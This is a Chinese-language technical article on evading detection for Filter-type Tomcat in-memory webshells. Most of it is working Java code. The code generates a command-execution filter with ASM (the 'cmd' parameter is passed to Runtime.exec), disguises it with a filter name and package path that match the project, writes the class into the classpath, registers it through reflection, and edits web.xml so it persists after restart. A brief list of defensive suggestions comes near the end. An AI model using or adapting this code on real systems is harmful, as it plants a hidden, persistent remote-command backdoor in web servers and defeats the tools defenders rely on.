探索Filter型Tomcat内存马的免杀
字数 1054 2025-08-09 09:46:33
Filter型Tomcat内存马免杀技术研究
1. 内存马查杀原理分析
当前主流工具对Filter型内存马的查杀主要基于以下4个检测点:
- Filter名称合理性检查:检测Filter名称是否符合常规命名规范
- 类名合理性检查:检测Filter对应的类名是否符合项目命名规范
- 类路径检查:检测Filter对应的类是否存在于classpath下
- web.xml配置检查:检测网站web.xml中是否存在该filter的配置
2. 免杀技术实现方案
2.1 信息收集阶段
首先需要收集目标系统中已存在的Filter信息,为后续伪造做准备:
// 获取当前上下文
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext) webappClassLoaderBase.getResources().getContext();
// 获取现有filter配置和映射
HashMap<String, Object> filterConfigs1 = getFilterConfig(standardCtx);
Object[] filterMaps1 = getFilterMaps(standardCtx);
List<String> names = new ArrayList<>();
// 遍历已存在的filter
for (int i = 0; i < filterMaps1.length; i++) {
Object fm = filterMaps1[i];
Object appFilterConfig = filterConfigs1.get(getFilterName(fm));
if (appFilterConfig == null) {
continue;
}
// 获取filter实例
Field _filter = appFilterConfig.getClass().getDeclaredField("filter");
_filter.setAccessible(true);
Object filter = _filter.get(appFilterConfig);
// 获取类名和包名
String filterClassName = filter.getClass().getName();
ApplicationFilterConfig afc = (ApplicationFilterConfig) appFilterConfig;
// 提取包名
String[] temp = filterClassName.split("\\.");
StringBuilder tmpName = new StringBuilder();
for (int j = 0; j < temp.length - 1; j++) {
tmpName.append(temp[j]);
if (j != temp.length - 2) {
tmpName.append(".");
}
}
// 排除tomcat系统filter
if (tmpName.toString().contains("org.apache.tomcat")) {
continue;
}
// 记录项目自定义filter的包名和类名
startName = tmpName.toString();
URL url = filter.getClass().getResource("");
path = url.toString();
names.add(afc.getFilterName());
}
// 格式化包名路径
startName = startName.replaceAll("\\.", "/");
path = path.split("file:/")[1];
2.2 Filter名称伪装
从常见filter名称列表中选取一个不与现有filter冲突的名称:
String[] nameArray = new String[]{"testFilter", "loginFilter", "coreFilter",
"userFilter", "manageFilter", "shiroFilter", "indexFilter"};
List<String> nameList = Arrays.asList(nameArray);
Collections.shuffle(nameList);
String finalName = null;
for (String s : nameArray) {
if (names.contains(s)) {
continue;
}
finalName = s;
}
if (finalName == null) {
return;
}
// 驼峰命名处理
String newClassName = finalName;
byte[] items = newClassName.getBytes();
items[0] = (byte)((char)items[0]-'a'+'A');
newClassName = new String(items);
2.3 动态字节码生成
使用ASM框架动态生成Filter类的字节码:
public static byte[] getFilter(String fullName) {
ClassWriter classWriter = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
MethodVisitor methodVisitor;
// 定义类结构
classWriter.visit(V1_8, ACC_PUBLIC | ACC_SUPER, fullName, null,
"java/lang/Object", new String[]{"javax/servlet/Filter"});
// 构造函数
methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
methodVisitor.visitCode();
methodVisitor.visitVarInsn(ALOAD, 0);
methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
methodVisitor.visitInsn(RETURN);
methodVisitor.visitMaxs(1, 1);
methodVisitor.visitEnd();
// init方法
methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "init",
"(Ljavax/servlet/FilterConfig;)V",
null, new String[]{"javax/servlet/ServletException"});
methodVisitor.visitCode();
methodVisitor.visitInsn(RETURN);
methodVisitor.visitMaxs(0, 2);
methodVisitor.visitEnd();
// doFilter方法(核心恶意代码)
methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "doFilter",
"(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;Ljavax/servlet/FilterChain;)V",
null, new String[]{"java/io/IOException", "javax/servlet/ServletException"});
methodVisitor.visitCode();
methodVisitor.visitVarInsn(ALOAD, 1);
methodVisitor.visitTypeInsn(CHECKCAST, "javax/servlet/http/HttpServletRequest");
methodVisitor.visitVarInsn(ASTORE, 4);
methodVisitor.visitVarInsn(ALOAD, 4);
methodVisitor.visitLdcInsn("cmd");
methodVisitor.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/http/HttpServletRequest",
"getParameter", "(Ljava/lang/String;)Ljava/lang/String;", true);
Label label0 = new Label();
methodVisitor.visitJumpInsn(IFNULL, label0);
// 命令执行逻辑
methodVisitor.visitIntInsn(SIPUSH, 1024);
methodVisitor.visitIntInsn(NEWARRAY, T_BYTE);
methodVisitor.visitVarInsn(ASTORE, 5);
methodVisitor.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
methodVisitor.visitVarInsn(ALOAD, 4);
methodVisitor.visitLdcInsn("cmd");
methodVisitor.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/http/HttpServletRequest",
"getParameter", "(Ljava/lang/String;)Ljava/lang/String;", true);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
methodVisitor.visitVarInsn(ASTORE, 6);
methodVisitor.visitVarInsn(ALOAD, 6);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
methodVisitor.visitVarInsn(ALOAD, 5);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/io/InputStream", "read", "([B)I", false);
methodVisitor.visitVarInsn(ISTORE, 7);
methodVisitor.visitVarInsn(ALOAD, 2);
methodVisitor.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/ServletResponse",
"getWriter", "()Ljava/io/PrintWriter;", true);
methodVisitor.visitTypeInsn(NEW, "java/lang/String");
methodVisitor.visitInsn(DUP);
methodVisitor.visitVarInsn(ALOAD, 5);
methodVisitor.visitInsn(ICONST_0);
methodVisitor.visitVarInsn(ILOAD, 7);
methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/String", "<init>", "([BII)V", false);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/io/PrintWriter", "write", "(Ljava/lang/String;)V", false);
methodVisitor.visitVarInsn(ALOAD, 6);
methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "destroy", "()V", false);
methodVisitor.visitInsn(RETURN);
// 正常请求处理
methodVisitor.visitLabel(label0);
methodVisitor.visitVarInsn(ALOAD, 3);
methodVisitor.visitVarInsn(ALOAD, 1);
methodVisitor.visitVarInsn(ALOAD, 2);
methodVisitor.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/FilterChain",
"doFilter", "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V", true);
methodVisitor.visitInsn(RETURN);
methodVisitor.visitMaxs(6, 8);
methodVisitor.visitEnd();
// destroy方法
methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "destroy", "()V", null, null);
methodVisitor.visitCode();
methodVisitor.visitInsn(RETURN);
methodVisitor.visitMaxs(0, 1);
methodVisitor.visitEnd();
classWriter.visitEnd();
return classWriter.toByteArray();
}
2.4 写入classpath
将生成的恶意Filter类写入目标classpath:
byte[] code = getFilter(startName + "/" + newClassName);
Files.write(Paths.get(path + "/" + newClassName + ".class"), code);
String tmpName = startName + "/" + newClassName;
tmpName = tmpName.replaceAll("/", ".");
2.5 注册Filter
通过反射实例化并注册恶意Filter:
// 反射加载并实例化Filter
Class<?> c = standardContext.getClass().forName(tmpName);
Filter filter = (Filter) c.newInstance();
// 注册FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(finalName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
// 设置Filter映射
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(finalName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
// 创建FilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(finalName, filterConfig);
2.6 修改web.xml配置
修改编译后的web.xml文件,添加恶意Filter配置:
// 构造要插入的filter配置
String targetData = " <filter>\n" +
" <filter-name>%s</filter-name>\n" +
" <filter-class>%s</filter-class>\n" +
" <init-param>\n" +
" <param-name>charset</param-name>\n" +
" <param-value>UTF-8</param-value>\n" +
" </init-param>\n" +
" </filter>\n" +
" <filter-mapping>\n" +
" <filter-name>%s</filter-name>\n" +
" <url-pattern>/*</url-pattern>\n" +
" </filter-mapping>\n";
String className1 = startName + "/" + newClassName;
className1 = className1.replaceAll("/", ".");
targetData = String.format(targetData, finalName, className1, finalName);
// 定位web.xml路径
String resourcePath = filter.getClass().getResource("").toString();
resourcePath = resourcePath.split("file:/")[1];
resourcePath = resourcePath.split("WEB-INF")[0];
String xmlPath = resourcePath + "WEB-INF/web.xml";
// 修改web.xml内容
byte[] data = Files.readAllBytes(Paths.get(xmlPath));
String dataStr = new String(data);
String prefix = dataStr.split("</web-app>")[0];
StringBuilder finalData = new StringBuilder();
finalData.append(prefix);
finalData.append(targetData);
finalData.append("</web-app>");
// 写入修改后的web.xml
Files.write(Paths.get(xmlPath), finalData.toString().getBytes(StandardCharsets.UTF_8));
3. 技术特点与防御建议
3.1 技术特点
-
高度伪装性:
- 使用与项目一致的包名结构
- 采用常见Filter命名
- 类文件实际存在于classpath中
- web.xml中有对应配置
-
持久化能力:
- 恶意类文件已写入磁盘
- web.xml配置已修改
- 服务重启后仍会加载
-
动态生成:
- 根据目标环境动态生成恶意类
- 无需提前准备恶意class文件
3.2 防御建议
-
加强代码审计:
- 对新增的Filter类进行严格审查
- 检查classpath下可疑的类文件
-
运行时监控:
- 监控Filter的动态注册行为
- 检测web.xml的异常修改
-
安全加固:
- 限制对WEB-INF目录的写权限
- 使用安全管理器限制敏感操作
-
深度检测:
- 不仅检查Filter配置,还需检查Filter类的实际行为
- 对class文件进行静态分析,检测恶意代码
4. 进阶思路
- 框架Filter注入:将恶意代码隐藏到框架必须的Filter中,而非新增Filter
- 代码混淆:对生成的恶意字节码进行混淆,增加检测难度
- 条件触发:设置特定条件才激活恶意行为,增加隐蔽性
5. 总结
本文详细分析了Filter型Tomcat内存马的免杀技术,通过动态字节码生成、合理命名伪装、修改web.xml配置等手段,实现了对现有检测方法的绕过。防御方需要采取多层次、深度的检测手段才能有效防范此类攻击。